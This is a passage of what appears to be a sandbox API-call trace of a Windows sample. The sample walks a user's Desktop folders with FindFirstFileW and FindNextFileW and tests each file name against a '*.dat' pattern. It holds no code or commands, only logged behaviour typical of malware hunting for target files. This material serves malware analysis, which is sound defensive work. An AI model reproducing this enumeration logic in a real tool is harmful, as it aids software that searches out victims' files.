lpString2="Tc9-j3lGUjaG6GJI.png" | out: lpString1="\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png") returned="\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png" [0099.532] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.532] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112d20 [0099.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x2112d20, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", lpUsedDefaultChar=0x0) returned 60 [0099.532] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112df8 [0099.532] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0099.532] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.532] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130a8 [0099.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130a8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.533] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0099.533] PathMatchSpecW (pszFile="Tc9-j3lGUjaG6GJI.png", pszSpec="*.dat") returned 0 [0099.533] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0099.533] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 1 [0099.533] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.533] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.533] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="UR4TA9fA1.xlsx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx" [0099.533] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.533] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.533] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="UR4TA9fA1.xlsx" | out: lpString1="\\km0vcCJ\\UR4TA9fA1.xlsx") returned="\\km0vcCJ\\UR4TA9fA1.xlsx" [0099.533] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.533] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33ab0e0 [0099.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x33ab0e0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.533] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112f18 [0099.533] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab0e0 | out: hHeap=0x2110000) returned 1 [0099.533] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.533] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113150 [0099.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113150, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.533] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113150 | out: hHeap=0x2110000) returned 1 [0099.533] PathMatchSpecW (pszFile="UR4TA9fA1.xlsx", pszSpec="*.dat") returned 0 [0099.533] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112f18 | out: hHeap=0x2110000) returned 1 [0099.533] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 0 [0099.533] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.533] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa878 [0099.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.534] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x27) returned 0x211ab40 [0099.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x211ab40, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpUsedDefaultChar=0x0) returned 39 [0099.534] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.534] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ab40 | out: hHeap=0x2110000) returned 1 [0099.534] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa878 | out: hHeap=0x2110000) returned 1 [0099.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.534] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.534] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130d8 | out: hHeap=0x2110000) returned 1 [0099.534] PathMatchSpecW (pszFile="km0vcCJ", pszSpec="*.dat") returned 0 [0099.534] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.534] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaab4640, ftCreationTime.dwHighDateTime=0x1d7a7ca, ftLastAccessTime.dwLowDateTime=0xae9fe3b0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0xae9fe3b0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x18c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="m2PaM.avi", cAlternateFileName="")) returned 1 [0099.534] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.534] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.534] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="m2PaM.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi" [0099.534] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.534] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.534] lstrcatW (in: lpString1="\\", lpString2="m2PaM.avi" | out: lpString1="\\m2PaM.avi") returned="\\m2PaM.avi" [0099.534] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.534] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x29) returned 0x34300d0 [0099.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", lpUsedDefaultChar=0x0) returned 41 [0099.534] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.535] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.535] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.535] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113090 [0099.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113090, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.535] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113090 | out: hHeap=0x2110000) returned 1 [0099.535] PathMatchSpecW (pszFile="m2PaM.avi", pszSpec="*.dat") returned 0 [0099.535] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.535] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTVwnxmU4D", cAlternateFileName="MTVWNX~1")) returned 1 [0099.535] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.535] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.535] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.535] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.535] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.535] lstrcatW (in: lpString1="\\", lpString2="MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.535] lstrcmpW (lpString1="MTVwnxmU4D", lpString2=".") returned 1 [0099.535] lstrcmpW (lpString1="MTVwnxmU4D", lpString2="..") returned 1 [0099.535] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.535] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*" [0099.535] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.535] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.535] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.536] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\." [0099.536] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.536] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.536] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="." | out: lpString1="\\MTVwnxmU4D\\.") returned="\\MTVwnxmU4D\\." [0099.536] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.536] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.536] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.536] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.536] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\.." [0099.536] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.536] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.536] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2=".." | out: lpString1="\\MTVwnxmU4D\\..") returned="\\MTVwnxmU4D\\.." [0099.536] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.536] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.536] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9d33c0, ftCreationTime.dwHighDateTime=0x1d7accb, ftLastAccessTime.dwLowDateTime=0x1ff5dc10, ftLastAccessTime.dwHighDateTime=0x1d7aebc, ftLastWriteTime.dwLowDateTime=0x1ff5dc10, ftLastWriteTime.dwHighDateTime=0x1d7aebc, nFileSizeHigh=0x0, nFileSizeLow=0xbdd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="4YFnvn DG0jzD_v88d.wav", cAlternateFileName="4YFNVN~1.WAV")) returned 1 [0099.536] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.536] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.536] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="4YFnvn DG0jzD_v88d.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav" [0099.536] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.536] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.536] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="4YFnvn DG0jzD_v88d.wav" | out: lpString1="\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav") returned="\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav" [0099.536] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.536] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x34300d0 [0099.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x34300d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", lpUsedDefaultChar=0x0) returned 65 [0099.537] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa610 [0099.537] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.537] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.537] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130a8 [0099.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130a8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.537] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0099.537] PathMatchSpecW (pszFile="4YFnvn DG0jzD_v88d.wav", pszSpec="*.dat") returned 0 [0099.537] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa610 | out: hHeap=0x2110000) returned 1 [0099.537] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4903bb0, ftCreationTime.dwHighDateTime=0x1d7a5f6, ftLastAccessTime.dwLowDateTime=0x17a6ae50, ftLastAccessTime.dwHighDateTime=0x1d7aea7, ftLastWriteTime.dwLowDateTime=0x17a6ae50, ftLastWriteTime.dwHighDateTime=0x1d7aea7, nFileSizeHigh=0x0, nFileSizeLow=0xa614, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpL2Lcy5i7fg_B1.rtf", cAlternateFileName="EPL2LC~1.RTF")) returned 1 [0099.537] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.537] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.537] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="EpL2Lcy5i7fg_B1.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf" [0099.537] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.537] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.537] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="EpL2Lcy5i7fg_B1.rtf" | out: lpString1="\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf") returned="\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf" [0099.537] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0099.537] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112c00 [0099.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x2112c00, cbMultiByte=62, 